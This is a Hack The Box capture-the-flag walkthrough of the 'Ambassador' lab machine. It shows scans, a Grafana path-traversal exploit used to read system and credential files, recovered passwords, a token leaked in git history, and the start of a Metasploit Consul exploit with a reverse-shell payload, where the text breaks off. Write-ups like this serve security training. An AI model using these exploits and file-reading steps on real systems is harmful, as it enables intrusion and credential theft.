HTB Ambassador Walkthrough
Discover how using an access token can allow breaking into a development server.
A simple and really fun BOX.
Let's start with the nmap scan:
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 21:25 CEST
Nmap scan report for 10.10.11.183
Host is up (0.11s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
| 256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_ 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ambassador Development Server
|_http-generator: Hugo 0.94.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 19 Oct 2022 19:26:41 GMT
| Content-Length: 29
| href="/login">Found</a>.
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 19 Oct 2022 19:26:09 GMT
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 19 Oct 2022 19:26:14 GMT
|_ Content-Length: 0
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 84
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, SupportsCompression, Speaks41ProtocolOld, LongPassword, SupportsTransactions, FoundRows, InteractiveClient, LongColumnFlag, ConnectWithDatabase, IgnoreSigpipes, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, SwitchToSSLAfterHandshake, ODBCClient, SupportsLoadDataLocal, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: eq\x7F>F0\x13\x1D-o\x1B.G.[43"4\x17
|_ Auth Plugin Name: caching_sha2_password
7921/tcp filtered unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=10/19%Time=63504F53%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Contr
SF:ol:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nExpi
SF:res:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cookie:
SF:\x20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Conte
SF:nt-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protec
SF:tion:\x201;\x20mode=block\r\nDate:\x20Wed,\x2019\x20Oct\x202022\x2019:2
SF:6:09\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found
SF:</a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\nCa
SF:che-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPr
SF:agma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20Http
SF:Only;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-
SF:Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20W
SF:ed,\x2019\x20Oct\x202022\x2019:26:14\x20GMT\r\nContent-Length:\x200\r\n
SF:\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/
SF:1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charse
SF:t=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSes
SF:sionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Found
SF:\r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache
SF:\r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.tx
SF:t%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201
SF:;\x20mode=block\r\nDate:\x20Wed,\x2019\x20Oct\x202022\x2019:26:41\x20GM
SF:T\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n
SF:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.07 seconds
Woo, a lot of information! Five ports open: 22 for ssh, 80 and 3000 for http, 3306 with a mySQL instance and 7921 unknown). Insert the usual domain (ambassador.htb) in the /etc/hosts file and proceed with the analysis.
80 - HTTP
At first glance, it looks like a simple blog with just one post. The only message posted seems to give some clues on how to access via ssh, but it is not very clear, and despite some attempts, I cannot log in. I proceed with a simple dirb session.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.183 - Ambassador (lin)]
└─$ dirb http://ambassador.htb
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Oct 19 21:36:12 2022
URL_BASE: http://ambassador.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://ambassador.htb/ ----
==> DIRECTORY: http://ambassador.htb/categories/
==> DIRECTORY: http://ambassador.htb/images/
+ http://ambassador.htb/index.html (CODE:200|SIZE:3654)
==> DIRECTORY: http://ambassador.htb/posts/
+ http://ambassador.htb/server-status (CODE:403|SIZE:279)
+ http://ambassador.htb/sitemap.xml (CODE:200|SIZE:645)
==> DIRECTORY: http://ambassador.htb/tags/
---- Entering directory: http://ambassador.htb/categories/ ----
+ http://ambassador.htb/categories/index.html (CODE:200|SIZE:2330)
---- Entering directory: http://ambassador.htb/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://ambassador.htb/posts/ ----
+ http://ambassador.htb/posts/index.html (CODE:200|SIZE:3140)
==> DIRECTORY: http://ambassador.htb/posts/page/
---- Entering directory: http://ambassador.htb/tags/ ----
+ http://ambassador.htb/tags/index.html (CODE:200|SIZE:2288)
---- Entering directory: http://ambassador.htb/posts/page/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Wed Oct 19 22:10:48 2022
DOWNLOADED: 18448 - FOUND: 6
Nothing exciting, just a nice picture that doesn't help me at the moment...
...and the sitemap of the portal, which, however, identifies the routings already found by the dirb.
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xhtml="http://www.w3.org/1999/xhtml">
<url>
<loc>https://example.org/</loc>
<lastmod>2022-03-10T19:01:57+00:00</lastmod>
</url><url>
<loc>https://example.org/posts/</loc>
<lastmod>2022-03-10T19:01:57+00:00</lastmod>
</url><url>
<loc>https://example.org/posts/welcome-to-the-ambassador-development-server/</loc>
<lastmod>2022-03-10T19:01:57+00:00</lastmod>
</url><url>
<loc>https://example.org/categories/</loc>
</url><url>
<loc>https://example.org/tags/</loc>
</url>
</urlset>
3000 - HTTP
On port 3000, an instance of Grafana, a platform for displaying and monitoring data, is exposed. The version highlighted at the bottom of the login form will help us later when searching for exploits.
3306 - mySQL
Let's start with some enumeration sessions.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.183 - Ambassador (lin)]
└─$ nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.10.11.183
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 22:20 CEST
Nmap scan report for ambassador.htb (10.10.11.183)
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 91
| Capabilities flags: 65535
| Some Capabilities: Speaks41ProtocolOld, Support41Auth, SupportsLoadDataLocal, SupportsTransactions, ConnectWithDatabase, SupportsCompression, IgnoreSigpipes, LongColumnFlag, FoundRows, LongPassword, SwitchToSSLAfterHandshake, InteractiveClient, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: z_>V#YV\x1B[ktFW| \x06\x01r\x04:
|_ Auth Plugin Name: caching_sha2_password
| mysql-enum:
| Accounts: No valid accounts found
| Statistics: Performed 0 guesses in 5 seconds, average tps: 0.0
|_ ERROR: The service seems to have failed or is heavily firewalled...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.15 seconds
Nothing, but some metasploit modules that might come in handy.
msf6 > use auxiliary/scanner/mysql/mysql_version
msf6 auxiliary(scanner/mysql/mysql_version) > options
Module options (auxiliary/scanner/mysql/mysql_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/mysql/mysql_version) > setg rhosts 10.10.11.183
rhosts => 10.10.11.183
msf6 auxiliary(scanner/mysql/mysql_version) > exploit
[+] 10.10.11.183:3306 - 10.10.11.183:3306 is running MySQL 8.0.30-0ubuntu0.20.04.2 (protocol 10)
[*] 10.10.11.183:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_version) > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > options
Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.11.183 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME root yes The username to authenticate as
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > exploit
[-] 10.10.11.183:3306 - 10.10.11.183:3306 Error: unknown charset number: 255
[*] 10.10.11.183:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump) > options
Module options (auxiliary/scanner/mysql/mysql_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.11.183 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The username to authenticate as
msf6 auxiliary(scanner/mysql/mysql_hashdump) > exploit
[-] 10.10.11.183:3306 - Connection timedout
[*] 10.10.11.183:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/admin/mysql/mysql_enum
msf6 auxiliary(admin/mysql/mysql_enum) > options
Module options (auxiliary/admin/mysql/mysql_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.11.183 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 3306 yes The target port (TCP)
USERNAME no The username to authenticate as
msf6 auxiliary(admin/mysql/mysql_enum) > exploit
[*] Running module against 10.10.11.183
[-] 10.10.11.183:3306 - Connection timedout
[*] Auxiliary module execution completed
msf6 auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_schemadump
msf6 auxiliary(scanner/mysql/mysql_schemadump) > options
Module options (auxiliary/scanner/mysql/mysql_schemadump):
Name Current Setting Required Description
---- --------------- -------- -----------
DISPLAY_RESULTS true yes Display the Results to the Screen
PASSWORD no The password for the specified username
RHOSTS 10.10.11.183 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The username to authenticate as
msf6 auxiliary(scanner/mysql/mysql_schemadump) > exploit
[-] 10.10.11.183:3306 - Connection timedout
[*] 10.10.11.183:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Unfortunately, none of the available modules contain any useful information. I still find a good list of CVEs I can exploit, but they don't help me.
Come back to the Grafana portal
I decided to return to the Grafana portal and recover the CVE list.
Among them, I find one with an exploit on exploit-db...
... and it works!
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.183 - Ambassador (lin)/attack/grph]
└─$ python3 50581.py -H http://ambassador.htb:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
I tried some other files but without success...
Read file > /home/developer/user.txt
[-] Something went wrong.
Read file > /home/developer/.ssh/id_rsa
[-] Something went wrong.
...until I get to the grafana configuration files (/etc/grafana/grafana.ini).
[...]
#################################### Security ####################################
[security]
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false
# default admin user, created on startup
;admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = messageInABottle685427
# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
[...]
Once I have found the Grafana administration password, I can access the portal in search of other useful information.
I discovered that the connection information of the datasource on which grafana monitors is in a file called mysql.yaml. By studying a bit, I also discover where the configuration files of this type are located in grafana, so I use the same vulnerability to read this file as well.
Read file > /etc/grafana/provisioning/datasources/mysql.yaml
apiVersion: 1
datasources:
- name: mysql.yaml
type: mysql
host: localhost
database: grafana
user: grafana
password: dontStandSoCloseToMe63221!
editable: false
So I find the password to connect to mySQL.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.183 - Ambassador (lin)/attack/grph]
└─$ mysql -h 10.10.11.183 -u grafana -p 1 ⨯
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 32
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0.115 sec)
MySQL [(none)]> use grafana;
Database changed
MySQL [grafana]> show tables;
Empty set (0.114 sec)
MySQL [grafana]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0.116 sec)
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.112 sec)
MySQL [whackywidget]>
Here is yet another password, which this time will lead us to the first user flag. But first, I had to decrypt the password; it looked like a simple base64 hashing.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.183 - Ambassador (lin)/attack/hc]
└─$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d 1 ⨯
anEnglishManInNewYork027468
And finally, the flag.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.183 - Ambassador (lin)/attack/hc]
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 22 Oct 2022 04:27:21 PM UTC
System load: 0.0
Usage of /: 82.3% of 5.07GB
Memory usage: 50%
Swap usage: 0%
Processes: 231
Users logged in: 0
IPv4 address for eth0: 10.10.11.183
IPv6 address for eth0: dead:beef::250:56ff:feb9:a885
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Oct 22 12:32:17 2022 from 10.10.16.2
developer@ambassador:~$ ls -la
total 48
drwxr-xr-x 7 developer developer 4096 Sep 14 11:01 .
drwxr-xr-x 3 root root 4096 Mar 13 2022 ..
lrwxrwxrwx 1 root root 9 Sep 14 11:01 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 developer developer 3798 Mar 14 2022 .bashrc
drwx------ 3 developer developer 4096 Mar 13 2022 .cache
-rw-rw-r-- 1 developer developer 93 Sep 2 02:28 .gitconfig
drwx------ 3 developer developer 4096 Oct 22 09:14 .gnupg
drwxrwxr-x 3 developer developer 4096 Mar 13 2022 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 3 developer developer 4096 Mar 14 2022 snap
drwx------ 2 developer developer 4096 Mar 13 2022 .ssh
-rw-r----- 1 root developer 33 Oct 22 08:15 user.txt
developer@ambassador:~$ cat user.txt
8******************************4
It's time to search for a privilege escalation to retrieve the root flag.
developer@ambassador:~$ sudo -l
[sudo] password for developer:
Sorry, user developer may not run sudo on ambassador.
The user cannot start commands with administrator permissions. There is a git configuration file that takes me straight to a local repository.
developer@ambassador:~$ cat .gitconfig
[user]
name = Developer
email = [email protected]
[safe]
directory = /opt/my-app
developer@ambassador:~$ ls -la /opt/my-app/
total 24
drwxrwxr-x 5 root root 4096 Mar 13 2022 .
drwxr-xr-x 4 root root 4096 Sep 1 22:13 ..
drwxrwxr-x 4 root root 4096 Mar 13 2022 env
drwxrwxr-x 8 root root 4096 Mar 14 2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13 2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13 2022 whackywidget
It appears to be a python project that allows command execution (perhaps with administrator permissions), but I don't see any vulnerabilities.
developer@ambassador:/opt/my-app/whackywidget$ cat manage.py
#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
"""Run administrative tasks."""
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'whackywidget.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
if __name__ == '__main__':
main()
However, it seems that the libraries necessary to run the program are not present.
developer@ambassador:/opt/my-app/whackywidget$ python3 manage.py
Traceback (most recent call last):
File "manage.py", line 11, in main
from django.core.management import execute_from_command_line
ModuleNotFoundError: No module named 'django'
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "manage.py", line 22, in <module>
main()
File "manage.py", line 13, in main
raise ImportError(
ImportError: Couldn't import Django. Are you sure it's installed and available on your PYTHONPATH environment variable? Did you forget to activate a virtual environment?
I noticed a bash script that caught my eye. I don't immediately understand what it's for. When I sent it, I got an error message.
developer@ambassador:/opt/my-app/whackywidget$ ./put-config-in-consul.sh
Error! Failed writing data: Unexpected response code: 403 (Permission denied: token with AccessorID '00000000-0000-0000-0000-000000000002' lacks permission 'key:write' on "whackywidget/db/mysql_pw")
I proceed to retrieve the historical information from the repository.
developer@ambassador:/opt/my-app/whackywidget$ git log --all --summary
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <[email protected]>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <[email protected]>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
create mode 100755 whackywidget/put-config-in-consul.sh
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <[email protected]>
Date: Sun Mar 13 22:47:01 2022 +0000
created project with django CLI
create mode 100755 whackywidget/manage.py
create mode 100644 whackywidget/whackywidget/__init__.py
create mode 100644 whackywidget/whackywidget/asgi.py
create mode 100644 whackywidget/whackywidget/settings.py
create mode 100644 whackywidget/whackywidget/urls.py
create mode 100644 whackywidget/whackywidget/wsgi.py
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <[email protected]>
Date: Sun Mar 13 22:44:11 2022 +0000
.gitignore
create mode 100644 .gitignore
Comparing the various commits, I found an interesting difference in the script file.
developer@ambassador:/opt/my-app/whackywidget$ git diff 33a53ef9a207976d5ceceddc41a199558843bf3c c982db8eff6f10f8f3a7d802f79f2705e7a21b55
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index fc51ec0..35c08f6 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
# We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
+# Export MYSQL_PASSWORD before running
-consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
It appears to be the token needed to execute the command contained within.
developer@ambassador:/opt/my-app/whackywidget$ MYSQL_PASSWORD=dontStandSoCloseToMe63221!
developer@ambassador:/opt/my-app/whackywidget$ consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
Success! Data written to: whackywidget/db/mysql_pw
Well, convinced that I was on the right track, I studied the consul command and discovered it is "a service networking solution that enables teams to manage secure network connectivity between services and across multi-cloud environments and runtimes."
I found this when searching for "consul exploit."
I understand that I need the consul service that runs on this machine, for sure, on some local port.
developer@ambassador:/opt/my-app/whackywidget$ ss -tulpn | grep -i "LISTEN.*127.0.0.1:"
tcp LISTEN 0 4096 127.0.0.1:8301 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8302 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8600 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8300 0.0.0.0:*
Great, exactly the same port.
developer@ambassador:/opt/my-app/whackywidget$ curl "http://127.0.0.1:8500/ui/" -v
* Trying 127.0.0.1:8500...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8500 (#0)
> GET /ui/ HTTP/1.1
> Host: 127.0.0.1:8500
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Date: Sat, 22 Oct 2022 17:28:31 GMT
< Content-Length: 88
< Content-Type: text/plain; charset=utf-8
<
Invalid URL path: if attempting to use the HTTP API, ensure the path starts with '/v1/'
* Connection #0 to host 127.0.0.1 left intact
developer@ambassador:/opt/my-app/whackywidget$ curl "http://127.0.0.1:8500/" -v
* Trying 127.0.0.1:8500...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8500 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8500
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 22 Oct 2022 17:28:37 GMT
< Content-Length: 104
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 127.0.0.1 left intact
Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart.
To carry out the attack from my machine, however, I need to perform a local port forward.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ ssh [email protected] -L 8500:127.0.0.1:8500
[email protected]'s password:
At this point, all we have to do is carry out the attack with the metasploit framework. Remember to apply the token found in the git repository.
msf6 > use exploit/multi/misc/consul_service_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/consul_service_exec) > options
Module options (exploit/multi/misc/consul_service_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ACL_TOKEN no Consul Agent ACL token
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
